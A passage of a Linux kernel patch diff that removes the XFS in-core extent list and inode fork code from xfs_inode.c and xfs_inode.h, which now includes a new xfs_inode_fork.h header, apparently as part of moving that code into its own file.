ASSERT(ext_diff > 0); - nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); - new_size = (nextents - ext_diff) * sizeof(xfs_bmbt_rec_t); - - if (new_size == 0) { - xfs_iext_destroy(ifp); - } else if (ifp->if_flags & XFS_IFEXTIREC) { - xfs_iext_remove_indirect(ifp, idx, ext_diff); - } else if (ifp->if_real_bytes) { - xfs_iext_remove_direct(ifp, idx, ext_diff); - } else { - xfs_iext_remove_inline(ifp, idx, ext_diff); - } - ifp->if_bytes = new_size; -} - -/* - * This removes ext_diff extents from the inline buffer, beginning - * at extent index idx. - */ -void -xfs_iext_remove_inline( - xfs_ifork_t *ifp, /* inode fork pointer */ - xfs_extnum_t idx, /* index to begin removing exts */ - int ext_diff) /* number of extents to remove */ -{ - int nextents; /* number of extents in file */ - - ASSERT(!(ifp->if_flags & XFS_IFEXTIREC)); - ASSERT(idx < XFS_INLINE_EXTS); - nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); - ASSERT(((nextents - ext_diff) > 0) && - (nextents - ext_diff) < XFS_INLINE_EXTS); - - if (idx + ext_diff < nextents) { - memmove(&ifp->if_u2.if_inline_ext[idx], - &ifp->if_u2.if_inline_ext[idx + ext_diff], - (nextents - (idx + ext_diff)) * - sizeof(xfs_bmbt_rec_t)); - memset(&ifp->if_u2.if_inline_ext[nextents - ext_diff], - 0, ext_diff * sizeof(xfs_bmbt_rec_t)); - } else { - memset(&ifp->if_u2.if_inline_ext[idx], 0, - ext_diff * sizeof(xfs_bmbt_rec_t)); - } -} - -/* - * This removes ext_diff extents from a linear (direct) extent list, - * beginning at extent index idx. If the extents are being removed - * from the end of the list (ie. truncate) then we just need to re- - * allocate the list to remove the extra space. Otherwise, if the - * extents are being removed from the middle of the existing extent - * entries, then we first need to move the extent records beginning - * at idx + ext_diff up in the list to overwrite the records being - * removed, then remove the extra space via kmem_realloc. - */ -void -xfs_iext_remove_direct( - xfs_ifork_t *ifp, /* inode fork pointer */ - xfs_extnum_t idx, /* index to begin removing exts */ - int ext_diff) /* number of extents to remove */ -{ - xfs_extnum_t nextents; /* number of extents in file */ - int new_size; /* size of extents after removal */ - - ASSERT(!(ifp->if_flags & XFS_IFEXTIREC)); - new_size = ifp->if_bytes - - (ext_diff * sizeof(xfs_bmbt_rec_t)); - nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); - - if (new_size == 0) { - xfs_iext_destroy(ifp); - return; - } - /* Move extents up in the list (if needed) */ - if (idx + ext_diff < nextents) { - memmove(&ifp->if_u1.if_extents[idx], - &ifp->if_u1.if_extents[idx + ext_diff], - (nextents - (idx + ext_diff)) * - sizeof(xfs_bmbt_rec_t)); - } - memset(&ifp->if_u1.if_extents[nextents - ext_diff], - 0, ext_diff * sizeof(xfs_bmbt_rec_t)); - /* - * Reallocate the direct extent list. If the extents - * will fit inside the inode then xfs_iext_realloc_direct - * will switch from direct to inline extent allocation - * mode for us. - */ - xfs_iext_realloc_direct(ifp, new_size); - ifp->if_bytes = new_size; -} - -/* - * This is called when incore extents are being removed from the - * indirection array and the extents being removed span multiple extent - * buffers. The idx parameter contains the file extent index where we - * want to begin removing extents, and the count parameter contains - * how many extents need to be removed. - * - * |-------| |-------| - * | nex1 | | | nex1 - number of extents before idx - * |-------| | count | - * | | | | count - number of extents being removed at idx - * | count | |-------| - * | | | nex2 | nex2 - number of extents after idx + count - * |-------| |-------| - */ -void -xfs_iext_remove_indirect( - xfs_ifork_t *ifp, /* inode fork pointer */ - xfs_extnum_t idx, /* index to begin removing extents */ - int count) /* number of extents to remove */ -{ - xfs_ext_irec_t *erp; /* indirection array pointer */ - int erp_idx = 0; /* indirection array index */ - xfs_extnum_t ext_cnt; /* extents left to remove */ - xfs_extnum_t ext_diff; /* extents to remove in current list */ - xfs_extnum_t nex1; /* number of extents before idx */ - xfs_extnum_t nex2; /* extents after idx + count */ - int page_idx = idx; /* index in target extent list */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - erp = xfs_iext_idx_to_irec(ifp, &page_idx, &erp_idx, 0); - ASSERT(erp != NULL); - nex1 = page_idx; - ext_cnt = count; - while (ext_cnt) { - nex2 = MAX((erp->er_extcount - (nex1 + ext_cnt)), 0); - ext_diff = MIN(ext_cnt, (erp->er_extcount - nex1)); - /* - * Check for deletion of entire list; - * xfs_iext_irec_remove() updates extent offsets. - */ - if (ext_diff == erp->er_extcount) { - xfs_iext_irec_remove(ifp, erp_idx); - ext_cnt -= ext_diff; - nex1 = 0; - if (ext_cnt) { - ASSERT(erp_idx < ifp->if_real_bytes / - XFS_IEXT_BUFSZ); - erp = &ifp->if_u1.if_ext_irec[erp_idx]; - nex1 = 0; - continue; - } else { - break; - } - } - /* Move extents up (if needed) */ - if (nex2) { - memmove(&erp->er_extbuf[nex1], - &erp->er_extbuf[nex1 + ext_diff], - nex2 * sizeof(xfs_bmbt_rec_t)); - } - /* Zero out rest of page */ - memset(&erp->er_extbuf[nex1 + nex2], 0, (XFS_IEXT_BUFSZ - - ((nex1 + nex2) * sizeof(xfs_bmbt_rec_t)))); - /* Update remaining counters */ - erp->er_extcount -= ext_diff; - xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, -ext_diff); - ext_cnt -= ext_diff; - nex1 = 0; - erp_idx++; - erp++; - } - ifp->if_bytes -= count * sizeof(xfs_bmbt_rec_t); - xfs_iext_irec_compact(ifp); -} - -/* - * Create, destroy, or resize a linear (direct) block of extents. - */ -void -xfs_iext_realloc_direct( - xfs_ifork_t *ifp, /* inode fork pointer */ - int new_size) /* new size of extents */ -{ - int rnew_size; /* real new size of extents */ - - rnew_size = new_size; - - ASSERT(!(ifp->if_flags & XFS_IFEXTIREC) || - ((new_size >= 0) && (new_size <= XFS_IEXT_BUFSZ) && - (new_size != ifp->if_real_bytes))); - - /* Free extent records */ - if (new_size == 0) { - xfs_iext_destroy(ifp); - } - /* Resize direct extent list and zero any new bytes */ - else if (ifp->if_real_bytes) { - /* Check if extents will fit inside the inode */ - if (new_size <= XFS_INLINE_EXTS * sizeof(xfs_bmbt_rec_t)) { - xfs_iext_direct_to_inline(ifp, new_size / - (uint)sizeof(xfs_bmbt_rec_t)); - ifp->if_bytes = new_size; - return; - } - if (!is_power_of_2(new_size)){ - rnew_size = roundup_pow_of_two(new_size); - } - if (rnew_size != ifp->if_real_bytes) { - ifp->if_u1.if_extents = - kmem_realloc(ifp->if_u1.if_extents, - rnew_size, - ifp->if_real_bytes, KM_NOFS); - } - if (rnew_size > ifp->if_real_bytes) { - memset(&ifp->if_u1.if_extents[ifp->if_bytes / - (uint)sizeof(xfs_bmbt_rec_t)], 0, - rnew_size - ifp->if_real_bytes); - } - } - /* - * Switch from the inline extent buffer to a direct - * extent list. Be sure to include the inline extent - * bytes in new_size. - */ - else { - new_size += ifp->if_bytes; - if (!is_power_of_2(new_size)) { - rnew_size = roundup_pow_of_two(new_size); - } - xfs_iext_inline_to_direct(ifp, rnew_size); - } - ifp->if_real_bytes = rnew_size; - ifp->if_bytes = new_size; -} - -/* - * Switch from linear (direct) extent records to inline buffer. - */ -void -xfs_iext_direct_to_inline( - xfs_ifork_t *ifp, /* inode fork pointer */ - xfs_extnum_t nextents) /* number of extents in file */ -{ - ASSERT(ifp->if_flags & XFS_IFEXTENTS); - ASSERT(nextents <= XFS_INLINE_EXTS); - /* - * The inline buffer was zeroed when we switched - * from inline to direct extent allocation mode, - * so we don't need to clear it here. - */ - memcpy(ifp->if_u2.if_inline_ext, ifp->if_u1.if_extents, - nextents * sizeof(xfs_bmbt_rec_t)); - kmem_free(ifp->if_u1.if_extents); - ifp->if_u1.if_extents = ifp->if_u2.if_inline_ext; - ifp->if_real_bytes = 0; -} - -/* - * Switch from inline buffer to linear (direct) extent records. - * new_size should already be rounded up to the next power of 2 - * by the caller (when appropriate), so use new_size as it is. - * However, since new_size may be rounded up, we can't update - * if_bytes here. It is the caller's responsibility to update - * if_bytes upon return. - */ -void -xfs_iext_inline_to_direct( - xfs_ifork_t *ifp, /* inode fork pointer */ - int new_size) /* number of extents in file */ -{ - ifp->if_u1.if_extents = kmem_alloc(new_size, KM_NOFS); - memset(ifp->if_u1.if_extents, 0, new_size); - if (ifp->if_bytes) { - memcpy(ifp->if_u1.if_extents, ifp->if_u2.if_inline_ext, - ifp->if_bytes); - memset(ifp->if_u2.if_inline_ext, 0, XFS_INLINE_EXTS * - sizeof(xfs_bmbt_rec_t)); - } - ifp->if_real_bytes = new_size; -} - -/* - * Resize an extent indirection array to new_size bytes. - */ -STATIC void -xfs_iext_realloc_indirect( - xfs_ifork_t *ifp, /* inode fork pointer */ - int new_size) /* new indirection array size */ -{ - int nlists; /* number of irec's (ex lists) */ - int size; /* current indirection array size */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - size = nlists * sizeof(xfs_ext_irec_t); - ASSERT(ifp->if_real_bytes); - ASSERT((new_size >= 0) && (new_size != size)); - if (new_size == 0) { - xfs_iext_destroy(ifp); - } else { - ifp->if_u1.if_ext_irec = (xfs_ext_irec_t *) - kmem_realloc(ifp->if_u1.if_ext_irec, - new_size, size, KM_NOFS); - } -} - -/* - * Switch from indirection array to linear (direct) extent allocations. - */ -STATIC void -xfs_iext_indirect_to_direct( - xfs_ifork_t *ifp) /* inode fork pointer */ -{ - xfs_bmbt_rec_host_t *ep; /* extent record pointer */ - xfs_extnum_t nextents; /* number of extents in file */ - int size; /* size of file extents */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); - ASSERT(nextents <= XFS_LINEAR_EXTS); - size = nextents * sizeof(xfs_bmbt_rec_t); - - xfs_iext_irec_compact_pages(ifp); - ASSERT(ifp->if_real_bytes == XFS_IEXT_BUFSZ); - - ep = ifp->if_u1.if_ext_irec->er_extbuf; - kmem_free(ifp->if_u1.if_ext_irec); - ifp->if_flags &= ~XFS_IFEXTIREC; - ifp->if_u1.if_extents = ep; - ifp->if_bytes = size; - if (nextents < XFS_LINEAR_EXTS) { - xfs_iext_realloc_direct(ifp, size); - } -} - -/* - * Free incore file extents. - */ -void -xfs_iext_destroy( - xfs_ifork_t *ifp) /* inode fork pointer */ -{ - if (ifp->if_flags & XFS_IFEXTIREC) { - int erp_idx; - int nlists; - - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - for (erp_idx = nlists - 1; erp_idx >= 0 ; erp_idx--) { - xfs_iext_irec_remove(ifp, erp_idx); - } - ifp->if_flags &= ~XFS_IFEXTIREC; - } else if (ifp->if_real_bytes) { - kmem_free(ifp->if_u1.if_extents); - } else if (ifp->if_bytes) { - memset(ifp->if_u2.if_inline_ext, 0, XFS_INLINE_EXTS * - sizeof(xfs_bmbt_rec_t)); - } - ifp->if_u1.if_extents = NULL; - ifp->if_real_bytes = 0; - ifp->if_bytes = 0; -} - -/* - * Return a pointer to the extent record for file system block bno. - */ -xfs_bmbt_rec_host_t * /* pointer to found extent record */ -xfs_iext_bno_to_ext( - xfs_ifork_t *ifp, /* inode fork pointer */ - xfs_fileoff_t bno, /* block number to search for */ - xfs_extnum_t *idxp) /* index of target extent */ -{ - xfs_bmbt_rec_host_t *base; /* pointer to first extent */ - xfs_filblks_t blockcount = 0; /* number of blocks in extent */ - xfs_bmbt_rec_host_t *ep = NULL; /* pointer to target extent */ - xfs_ext_irec_t *erp = NULL; /* indirection array pointer */ - int high; /* upper boundary in search */ - xfs_extnum_t idx = 0; /* index of target extent */ - int low; /* lower boundary in search */ - xfs_extnum_t nextents; /* number of file extents */ - xfs_fileoff_t startoff = 0; /* start offset of extent */ - - nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); - if (nextents == 0) { - *idxp = 0; - return NULL; - } - low = 0; - if (ifp->if_flags & XFS_IFEXTIREC) { - /* Find target extent list */ - int erp_idx = 0; - erp = xfs_iext_bno_to_irec(ifp, bno, &erp_idx); - base = erp->er_extbuf; - high = erp->er_extcount - 1; - } else { - base = ifp->if_u1.if_extents; - high = nextents - 1; - } - /* Binary search extent records */ - while (low <= high) { - idx = (low + high) >> 1; - ep = base + idx; - startoff = xfs_bmbt_get_startoff(ep); - blockcount = xfs_bmbt_get_blockcount(ep); - if (bno < startoff) { - high = idx - 1; - } else if (bno >= startoff + blockcount) { - low = idx + 1; - } else { - /* Convert back to file-based extent index */ - if (ifp->if_flags & XFS_IFEXTIREC) { - idx += erp->er_extoff; - } - *idxp = idx; - return ep; - } - } - /* Convert back to file-based extent index */ - if (ifp->if_flags & XFS_IFEXTIREC) { - idx += erp->er_extoff; - } - if (bno >= startoff + blockcount) { - if (++idx == nextents) { - ep = NULL; - } else { - ep = xfs_iext_get_ext(ifp, idx); - } - } - *idxp = idx; - return ep; -} - -/* - * Return a pointer to the indirection array entry containing the - * extent record for filesystem block bno. Store the index of the - * target irec in *erp_idxp. - */ -xfs_ext_irec_t * /* pointer to found extent record */ -xfs_iext_bno_to_irec( - xfs_ifork_t *ifp, /* inode fork pointer */ - xfs_fileoff_t bno, /* block number to search for */ - int *erp_idxp) /* irec index of target ext list */ -{ - xfs_ext_irec_t *erp = NULL; /* indirection array pointer */ - xfs_ext_irec_t *erp_next; /* next indirection array entry */ - int erp_idx; /* indirection array index */ - int nlists; /* number of extent irec's (lists) */ - int high; /* binary search upper limit */ - int low; /* binary search lower limit */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - erp_idx = 0; - low = 0; - high = nlists - 1; - while (low <= high) { - erp_idx = (low + high) >> 1; - erp = &ifp->if_u1.if_ext_irec[erp_idx]; - erp_next = erp_idx < nlists - 1 ? erp + 1 : NULL; - if (bno < xfs_bmbt_get_startoff(erp->er_extbuf)) { - high = erp_idx - 1; - } else if (erp_next && bno >= - xfs_bmbt_get_startoff(erp_next->er_extbuf)) { - low = erp_idx + 1; - } else { - break; - } - } - *erp_idxp = erp_idx; - return erp; -} - -/* - * Return a pointer to the indirection array entry containing the - * extent record at file extent index *idxp. Store the index of the - * target irec in *erp_idxp and store the page index of the target - * extent record in *idxp. - */ -xfs_ext_irec_t * -xfs_iext_idx_to_irec( - xfs_ifork_t *ifp, /* inode fork pointer */ - xfs_extnum_t *idxp, /* extent index (file -> page) */ - int *erp_idxp, /* pointer to target irec */ - int realloc) /* new bytes were just added */ -{ - xfs_ext_irec_t *prev; /* pointer to previous irec */ - xfs_ext_irec_t *erp = NULL; /* pointer to current irec */ - int erp_idx; /* indirection array index */ - int nlists; /* number of irec's (ex lists) */ - int high; /* binary search upper limit */ - int low; /* binary search lower limit */ - xfs_extnum_t page_idx = *idxp; /* extent index in target list */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - ASSERT(page_idx >= 0); - ASSERT(page_idx <= ifp->if_bytes / sizeof(xfs_bmbt_rec_t)); - ASSERT(page_idx < ifp->if_bytes / sizeof(xfs_bmbt_rec_t) || realloc); - - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - erp_idx = 0; - low = 0; - high = nlists - 1; - - /* Binary search extent irec's */ - while (low <= high) { - erp_idx = (low + high) >> 1; - erp = &ifp->if_u1.if_ext_irec[erp_idx]; - prev = erp_idx > 0 ? erp - 1 : NULL; - if (page_idx < erp->er_extoff || (page_idx == erp->er_extoff && - realloc && prev && prev->er_extcount < XFS_LINEAR_EXTS)) { - high = erp_idx - 1; - } else if (page_idx > erp->er_extoff + erp->er_extcount || - (page_idx == erp->er_extoff + erp->er_extcount && - !realloc)) { - low = erp_idx + 1; - } else if (page_idx == erp->er_extoff + erp->er_extcount && - erp->er_extcount == XFS_LINEAR_EXTS) { - ASSERT(realloc); - page_idx = 0; - erp_idx++; - erp = erp_idx < nlists ? erp + 1 : NULL; - break; - } else { - page_idx -= erp->er_extoff; - break; - } - } - *idxp = page_idx; - *erp_idxp = erp_idx; - return(erp); -} - -/* - * Allocate and initialize an indirection array once the space needed - * for incore extents increases above XFS_IEXT_BUFSZ. - */ -void -xfs_iext_irec_init( - xfs_ifork_t *ifp) /* inode fork pointer */ -{ - xfs_ext_irec_t *erp; /* indirection array pointer */ - xfs_extnum_t nextents; /* number of extents in file */ - - ASSERT(!(ifp->if_flags & XFS_IFEXTIREC)); - nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); - ASSERT(nextents <= XFS_LINEAR_EXTS); - - erp = kmem_alloc(sizeof(xfs_ext_irec_t), KM_NOFS); - - if (nextents == 0) { - ifp->if_u1.if_extents = kmem_alloc(XFS_IEXT_BUFSZ, KM_NOFS); - } else if (!ifp->if_real_bytes) { - xfs_iext_inline_to_direct(ifp, XFS_IEXT_BUFSZ); - } else if (ifp->if_real_bytes < XFS_IEXT_BUFSZ) { - xfs_iext_realloc_direct(ifp, XFS_IEXT_BUFSZ); - } - erp->er_extbuf = ifp->if_u1.if_extents; - erp->er_extcount = nextents; - erp->er_extoff = 0; - - ifp->if_flags |= XFS_IFEXTIREC; - ifp->if_real_bytes = XFS_IEXT_BUFSZ; - ifp->if_bytes = nextents * sizeof(xfs_bmbt_rec_t); - ifp->if_u1.if_ext_irec = erp; - - return; -} - -/* - * Allocate and initialize a new entry in the indirection array. - */ -xfs_ext_irec_t * -xfs_iext_irec_new( - xfs_ifork_t *ifp, /* inode fork pointer */ - int erp_idx) /* index for new irec */ -{ - xfs_ext_irec_t *erp; /* indirection array pointer */ - int i; /* loop counter */ - int nlists; /* number of irec's (ex lists) */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - - /* Resize indirection array */ - xfs_iext_realloc_indirect(ifp, ++nlists * - sizeof(xfs_ext_irec_t)); - /* - * Move records down in the array so the - * new page can use erp_idx. - */ - erp = ifp->if_u1.if_ext_irec; - for (i = nlists - 1; i > erp_idx; i--) { - memmove(&erp[i], &erp[i-1], sizeof(xfs_ext_irec_t)); - } - ASSERT(i == erp_idx); - - /* Initialize new extent record */ - erp = ifp->if_u1.if_ext_irec; - erp[erp_idx].er_extbuf = kmem_alloc(XFS_IEXT_BUFSZ, KM_NOFS); - ifp->if_real_bytes = nlists * XFS_IEXT_BUFSZ; - memset(erp[erp_idx].er_extbuf, 0, XFS_IEXT_BUFSZ); - erp[erp_idx].er_extcount = 0; - erp[erp_idx].er_extoff = erp_idx > 0 ? - erp[erp_idx-1].er_extoff + erp[erp_idx-1].er_extcount : 0; - return (&erp[erp_idx]); -} - -/* - * Remove a record from the indirection array. - */ -void -xfs_iext_irec_remove( - xfs_ifork_t *ifp, /* inode fork pointer */ - int erp_idx) /* irec index to remove */ -{ - xfs_ext_irec_t *erp; /* indirection array pointer */ - int i; /* loop counter */ - int nlists; /* number of irec's (ex lists) */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - erp = &ifp->if_u1.if_ext_irec[erp_idx]; - if (erp->er_extbuf) { - xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, - -erp->er_extcount); - kmem_free(erp->er_extbuf); - } - /* Compact extent records */ - erp = ifp->if_u1.if_ext_irec; - for (i = erp_idx; i < nlists - 1; i++) { - memmove(&erp[i], &erp[i+1], sizeof(xfs_ext_irec_t)); - } - /* - * Manually free the last extent record from the indirection - * array. A call to xfs_iext_realloc_indirect() with a size - * of zero would result in a call to xfs_iext_destroy() which - * would in turn call this function again, creating a nasty - * infinite loop. - */ - if (--nlists) { - xfs_iext_realloc_indirect(ifp, - nlists * sizeof(xfs_ext_irec_t)); - } else { - kmem_free(ifp->if_u1.if_ext_irec); - } - ifp->if_real_bytes = nlists * XFS_IEXT_BUFSZ; -} - -/* - * This is called to clean up large amounts of unused memory allocated - * by the indirection array. Before compacting anything though, verify - * that the indirection array is still needed and switch back to the - * linear extent list (or even the inline buffer) if possible. The - * compaction policy is as follows: - * - * Full Compaction: Extents fit into a single page (or inline buffer) - * Partial Compaction: Extents occupy less than 50% of allocated space - * No Compaction: Extents occupy at least 50% of allocated space - */ -void -xfs_iext_irec_compact( - xfs_ifork_t *ifp) /* inode fork pointer */ -{ - xfs_extnum_t nextents; /* number of extents in file */ - int nlists; /* number of irec's (ex lists) */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); - - if (nextents == 0) { - xfs_iext_destroy(ifp); - } else if (nextents <= XFS_INLINE_EXTS) { - xfs_iext_indirect_to_direct(ifp); - xfs_iext_direct_to_inline(ifp, nextents); - } else if (nextents <= XFS_LINEAR_EXTS) { - xfs_iext_indirect_to_direct(ifp); - } else if (nextents < (nlists * XFS_LINEAR_EXTS) >> 1) { - xfs_iext_irec_compact_pages(ifp); - } -} - -/* - * Combine extents from neighboring extent pages. - */ -void -xfs_iext_irec_compact_pages( - xfs_ifork_t *ifp) /* inode fork pointer */ -{ - xfs_ext_irec_t *erp, *erp_next;/* pointers to irec entries */ - int erp_idx = 0; /* indirection array index */ - int nlists; /* number of irec's (ex lists) */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - while (erp_idx < nlists - 1) { - erp = &ifp->if_u1.if_ext_irec[erp_idx]; - erp_next = erp + 1; - if (erp_next->er_extcount <= - (XFS_LINEAR_EXTS - erp->er_extcount)) { - memcpy(&erp->er_extbuf[erp->er_extcount], - erp_next->er_extbuf, erp_next->er_extcount * - sizeof(xfs_bmbt_rec_t)); - erp->er_extcount += erp_next->er_extcount; - /* - * Free page before removing extent record - * so er_extoffs don't get modified in - * xfs_iext_irec_remove. - */ - kmem_free(erp_next->er_extbuf); - erp_next->er_extbuf = NULL; - xfs_iext_irec_remove(ifp, erp_idx + 1); - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - } else { - erp_idx++; - } - } -} - -/* - * This is called to update the er_extoff field in the indirection - * array when extents have been added or removed from one of the - * extent lists. erp_idx contains the irec index to begin updating - * at and ext_diff contains the number of extents that were added - * or removed. - */ -void -xfs_iext_irec_update_extoffs( - xfs_ifork_t *ifp, /* inode fork pointer */ - int erp_idx, /* irec index to update */ - int ext_diff) /* number of new extents */ -{ - int i; /* loop counter */ - int nlists; /* number of irec's (ex lists */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - for (i = erp_idx; i < nlists; i++) { - ifp->if_u1.if_ext_irec[i].er_extoff += ext_diff; - } -} - -/* * Test whether it is appropriate to check an inode for and free post EOF * blocks. The 'force' parameter determines whether we should also consider * regular files that are marked preallocated or append-only. @@ -4059,4 +2188,3 @@ xfs_can_free_eofblocks(struct xfs_inode *ip, bool force) return true; } - diff --git a/fs/xfs/xfs_inode.h b/fs/xfs/xfs_inode.h index de4f963..bf0f714 100644 --- a/fs/xfs/xfs_inode.h +++ b/fs/xfs/xfs_inode.h @@ -22,58 +22,7 @@ struct posix_acl; struct xfs_dinode; struct xfs_inode; -/* - * The following xfs_ext_irec_t struct introduces a second (top) level - * to the in-core extent allocation scheme. These structs are allocated - * in a contiguous block, creating an indirection array where each entry - * (irec) contains a pointer to a buffer of in-core extent records which - * it manages. Each extent buffer is 4k in size, since 4k is the system - * page size on Linux i386 and systems with larger page sizes don't seem - * to gain much, if anything, by using their native page size as the - * extent buffer size. Also, using 4k extent buffers everywhere provides - * a consistent interface for CXFS across different platforms. - * - * There is currently no limit on the number of irec's (extent lists) - * allowed, so heavily fragmented files may require an indirection array - * which spans multiple system pages of memory. The number of extents - * which would require this amount of contiguous memory is very large - * and should not cause problems in the foreseeable future. However, - * if the memory needed for the contiguous array ever becomes a problem, - * it is possible that a third level of indirection may be required. - */ -typedef struct xfs_ext_irec { - xfs_bmbt_rec_host_t *er_extbuf; /* block of extent records */ - xfs_extnum_t er_extoff; /* extent offset in file */ - xfs_extnum_t er_extcount; /* number of extents in page/block */ -} xfs_ext_irec_t; - -/* - * File incore extent information, present for each of data & attr forks. - */ -#define XFS_IEXT_BUFSZ 4096 -#define XFS_LINEAR_EXTS (XFS_IEXT_BUFSZ / (uint)sizeof(xfs_bmbt_rec_t)) -#define XFS_INLINE_EXTS 2 -#define XFS_INLINE_DATA 32 -typedef struct xfs_ifork { - int if_bytes; /* bytes in if_u1 */ - int if_real_bytes; /* bytes allocated in if_u1 */ - struct xfs_btree_block *if_broot; /* file's incore btree root */ - short if_broot_bytes; /* bytes allocated for root */ - unsigned char if_flags; /* per-fork flags */ - union { - xfs_bmbt_rec_host_t *if_extents;/* linear map file exts */ - xfs_ext_irec_t *if_ext_irec; /* irec map file exts */ - char *if_data; /* inline file data */ - } if_u1; - union { - xfs_bmbt_rec_host_t if_inline_ext[XFS_INLINE_EXTS]; - /* very small file extents */ - char if_inline_data[XFS_INLINE_DATA]; - /* very small file data */ - xfs_dev_t if_rdev; /* dev number if special */ - uuid_t if_uuid; /* mount point value */ - } if_u2; -} xfs_ifork_t; +#include "xfs_inode_fork.h" /* * Inode location information. Stored in the inode and passed to @@ -115,57 +64,6 @@ struct xfs_imap { #define XFS_ICHGTIME_CHG 0x2 /* inode field change timestamp */ #define XFS_ICHGTIME_CREATE 0x4 /* inode create timestamp */ -/* - * Per-fork incore inode flags. - */ -#define XFS_IFINLINE 0x01 /* Inline data is read in */ -#define XFS_IFEXTENTS 0x02 /* All extent pointers are read in */ -#define XFS_IFBROOT 0x04 /* i_broot points to the bmap b-tree root */ -#define XFS_IFEXTIREC 0x08 /* Indirection array of extent blocks */ - -/* - * Fork handling. - */ - -#define XFS_IFORK_Q(ip) ((ip)->i_d.di_forkoff != 0) -#define XFS_IFORK_BOFF(ip) ((int)((ip)->i_d.di_forkoff << 3)) - -#define XFS_IFORK_PTR(ip,w) \ - ((w) == XFS_DATA_FORK ? \ - &(ip)->i_df : \ - (ip)->i_afp) -#define XFS_IFORK_DSIZE(ip) \ - (XFS_IFORK_Q(ip) ? \ - XFS_IFORK_BOFF(ip) : \ - XFS_LITINO((ip)->i_mount, (ip)->i_d.di_version)) -#define XFS_IFORK_ASIZE(ip) \ - (XFS_IFORK_Q(ip) ? \ - XFS_LITINO((ip)->i_mount, (ip)->i_d.di_version) - \ - XFS_IFORK_BOFF(ip) : \ - 0) -#define XFS_IFORK_SIZE(ip,w) \ - ((w) == XFS_DATA_FORK ? \ - XFS_IFORK_DSIZE(ip) : \ - XFS_IFORK_ASIZE(ip)) -#define XFS_IFORK_FORMAT(ip,w) \ - ((w) == XFS_DATA_FORK ? \ - (ip)->i_d.di_format : \ - (ip)->i_d.di_aformat) -#define XFS_IFORK_FMT_SET(ip,w,n) \ - ((w) == XFS_DATA_FORK ? \ - ((ip)->i_d.di_format = (n)) : \ - ((ip)->i_d.di_aformat = (n))) -#define XFS_IFORK_NEXTENTS(ip,w) \ - ((w) == XFS_DATA_FORK ? \ - (ip)->i_d.di_nextents : \ - (ip)->i_d.di_anextents) -#define XFS_IFORK_NEXT_SET(ip,w,n) \ - ((w) == XFS_DATA_FORK ? \ - ((ip)->i_d.di_nextents = (n)) : \ - ((ip)->i_d.di_anextents = (n))) -#define XFS_IFORK_MAXEXT(ip, w) \ - (XFS_IFORK_SIZE(ip, w) / sizeof(xfs_bmbt_rec_t)) - #ifdef __KERNEL__ @@ -517,35 +415,6 @@ int xfs_iread(struct xfs_mount *, struct xfs_trans *, void xfs_dinode_calc_crc(struct xfs_mount *, struct xfs_dinode *); void xfs_dinode_to_disk(struct xfs_dinode *, struct xfs_icdinode *); -void xfs_idestroy_fork(struct xfs_inode *, int); -void xfs_idata_realloc(struct xfs_inode *, int, int); -void xfs_iroot_realloc(struct xfs_inode *, int, int); -int xfs_iread_extents(struct xfs_trans *, struct xfs_inode *, int); -int xfs_iextents_copy(struct xfs_inode *, xfs_bmbt_rec_t *, int); - -xfs_bmbt_rec_host_t *xfs_iext_get_ext(xfs_ifork_t *, xfs_extnum_t); -void xfs_iext_insert(xfs_inode_t *, xfs_extnum_t, xfs_extnum_t, - xfs_bmbt_irec_t *, int); -void xfs_iext_add(xfs_ifork_t *, xfs_extnum_t, int); -void xfs_iext_add_indirect_multi(xfs_ifork_t *, int, xfs_extnum_t, int); -void xfs_iext_remove(xfs_inode_t *, xfs_extnum_t, int, int); -void xfs_iext_remove_inline(xfs_ifork_t *, xfs_extnum_t, int); -void xfs_iext_remove_direct(xfs_ifork_t *, xfs_extnum_t, int); -void xfs_iext_remove_indirect(xfs_ifork_t *, xfs_extnum_t, int); -void xfs_iext_realloc_direct(xfs_ifork_t *, int); -void xfs_iext_direct_to_inline(xfs_ifork_t *, xfs_extnum_t); -void xfs_iext_inline_to_direct(xfs_ifork_t *, int); -void xfs_iext_destroy(xfs_ifork_t *); -xfs_bmbt_rec_host_t *xfs_iext_bno_to_ext(xfs_ifork_t *, xfs_fileoff_t, int *); -xfs_ext_irec_t *xfs_iext_bno_to_irec(xfs_ifork_t *, xfs_fileoff_t, int *); -xfs_ext_irec_t *xfs_iext_idx_to_irec(xfs_ifork_t *, xfs_extnum_t *, int *, int); -void xfs_iext_irec_init(xfs_ifork_t *); -xfs_ext_irec_t *xfs_iext_irec_new(xfs_ifork_t *, int); -void xfs_iext_irec_remove(xfs_ifork_t *, int); -void xfs_iext_irec_compact(xfs_ifork_t *); -void xfs_iext_irec_compact_pages(xfs_ifork_t *); -void xfs_iext_irec_compact_full(xfs_ifork_t *); -void xfs_iext_irec_update_extoffs(xfs_ifork_t *, int, int); bool xfs_can_free_eofblocks(struct 